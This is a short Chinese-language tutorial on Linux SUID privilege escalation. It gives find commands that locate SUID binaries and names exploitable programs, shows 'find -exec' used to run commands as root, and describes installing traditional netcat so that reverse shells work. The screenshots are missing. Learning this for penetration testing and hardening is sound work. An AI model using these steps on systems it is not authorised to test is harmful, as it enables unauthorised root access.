Linux之SUID提权

0x00 SUID是什么?

SUID其实和文件或目录的基本属性一样(r w x) ,当一个可执行的文件(命令)拥有SUID时,x就变成s了,你试下:ll /usr/bin/passwd 就知道,意思就是当你执行这个命令时暂时拥有passwd的拥有者的权限,也就是root
 

0x01 suid提权

运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)

搜索符合条件的可以用来提权的:(三种都可以)

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {
     } \;
find / -user root -perm -4000 -print 2>/dev/null

搜索可以提权的程序,一般有以下 :

nmap vim find Bash More Less Nano cp

0x011 find命令提权

先看看当前权限

Linux之SUID提权_第1张图片
看看哪些命令是以suid权限执行

find / -perm -u=s -type f 2>/dev/null

发现find可以利用
Linux之SUID提权_第2张图片
需要配合find命令(寻找文件)。所以先创建个测试文件吧
(普通用户的话,进入到/tmp目录下,然后新建一个文件)

touch test
find test -exec whoami \;

执行find命令,并查看当前权限。会发现已经是root权限
Linux之SUID提权_第3张图片
 

0x02 小扩展?

想试试这样反弹shell之后会是什么权限(结果令人失望)
1.尝试用bash
Linux之SUID提权_第4张图片
2.尝试用nc
Tips~
ubuntu 16.04需要修改默认nc为传统nc。为什么修改,因为自带的nc不能反向shell
安装传统nc

sudo apt -y install netcat-traditional

修改系统默认nc为传统nc,可用-e选项

sudo update-alternatives --config nc

(原以为跟正反向有关系,结果…)
Linux之SUID提权_第5张图片
 
GOT IT!
总的来说。suid提权是短暂的,能帮我们以root权限执行指定的命令

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

你可能感兴趣的:(漏洞提权,渗透测试,linux,安全漏洞)